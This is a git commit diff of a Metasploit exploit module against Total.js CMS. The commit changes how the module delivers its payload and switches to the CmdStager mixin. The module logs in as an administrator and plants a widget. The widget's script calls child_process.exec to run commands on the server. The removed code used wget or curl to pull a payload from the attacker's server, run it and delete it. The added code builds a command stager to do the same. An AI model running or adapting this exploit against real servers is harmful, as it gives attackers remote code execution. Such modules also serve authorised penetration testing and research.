Use CmdStager mixin
This commit is contained in:
parent
bb7c42b2ce
commit
0ebc971d29
|
@ -6,9 +6,9 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -27,8 +27,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Total.js CMS on Linux', { 'Platform' => 'linux' } ],
|
||||
[ 'Total.js CMS on Mac', { 'Platform' => 'osx' } ]
|
||||
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
|
||||
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 8000
|
||||
'RPORT' => 8000,
|
||||
},
|
||||
'Notes' =>
|
||||
{
|
||||
|
@ -71,37 +71,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
class Widget
|
||||
public
|
||||
|
||||
attr_reader :name
|
||||
attr_reader :category
|
||||
attr_reader :source_code
|
||||
attr_reader :platform
|
||||
attr_reader :url
|
||||
|
||||
def initialize(p, u)
|
||||
def initialize(p, u, stager)
|
||||
@name = "p_#{Rex::Text.rand_text_alpha(10)}"
|
||||
@category = 'content'
|
||||
@platform = p
|
||||
@url = u
|
||||
@source_code = get_source_code
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def get_source_code
|
||||
cmd = ''
|
||||
payload_path = "/tmp/p_#{Rex::Text.rand_text_alpha(5)}"
|
||||
|
||||
case platform.downcase
|
||||
when 'linux'
|
||||
cmd = "wget #{url} -O #{payload_path} "
|
||||
when 'osx'
|
||||
cmd = "curl #{url} > #{payload_path} "
|
||||
end
|
||||
|
||||
cmd << "&& chmod +x #{payload_path} && #{payload_path} && rm #{payload_path}"
|
||||
%Q|<script total>global.process.mainModule.require('child_process').exec("#{cmd}");</script>|
|
||||
@source_code = %Q|<script total>|
|
||||
@source_code << %Q|global.process.mainModule.require('child_process')|
|
||||
@source_code << %Q|.exec("sleep 2;#{stager}");|
|
||||
@source_code << %Q|</script>|
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -174,8 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
|
||||
port = datastore['SRVPORT']
|
||||
proto = datastore['SSL'] ? 'https' : 'http'
|
||||
url = "#{proto}://#{host}:#{port}#{get_resource}/p_#{Rex::Text.rand_text_alpha(5)}"
|
||||
widget = Widget.new(platform, url)
|
||||
payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
|
||||
url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
|
||||
widget = Widget.new(platform, url, generate_cmdstager(
|
||||
'Path' => "#{get_resource}/#{payload_name}",
|
||||
'temp' => '/tmp',
|
||||
'file' => payload_name
|
||||
).join(';'))
|
||||
|
||||
json_body = {
|
||||
'name' => widget.name,
|
||||
|
@ -306,33 +295,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
# We are executing the HTTP client as a thread so that we can start the web server
|
||||
# host, and then fire the exploit. However, by doing this we may be swallowing
|
||||
# exceptions, so we need to catch all of them, print what the error is, and then
|
||||
# raise again to make sure the core is notified.
|
||||
t = framework.threads.spawn('totaljs_command_injection', false) do
|
||||
# A little delay is needed to make sure the web server goes first.
|
||||
sleep(0.5)
|
||||
begin
|
||||
user = datastore['TOTALJSUSERNAME']
|
||||
pass = datastore['TOTALJSPASSWORD']
|
||||
print_status("Attempting to authenticate with #{user}:#{pass}")
|
||||
admin_token = auth(user, pass)
|
||||
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
|
||||
print_good("Authenticatd as: #{user}:#{pass}")
|
||||
print_status("Creating a widget...")
|
||||
@widget = create_widget(admin_token)
|
||||
rescue ::Exception => e
|
||||
print_error(e.message)
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
super
|
||||
ensure
|
||||
t.kill
|
||||
end
|
||||
user = datastore['TOTALJSUSERNAME']
|
||||
pass = datastore['TOTALJSPASSWORD']
|
||||
print_status("Attempting to authenticate with #{user}:#{pass}")
|
||||
admin_token = auth(user, pass)
|
||||
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
|
||||
print_good("Authenticatd as: #{user}:#{pass}")
|
||||
print_status("Creating a widget...")
|
||||
@widget = create_widget(admin_token)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue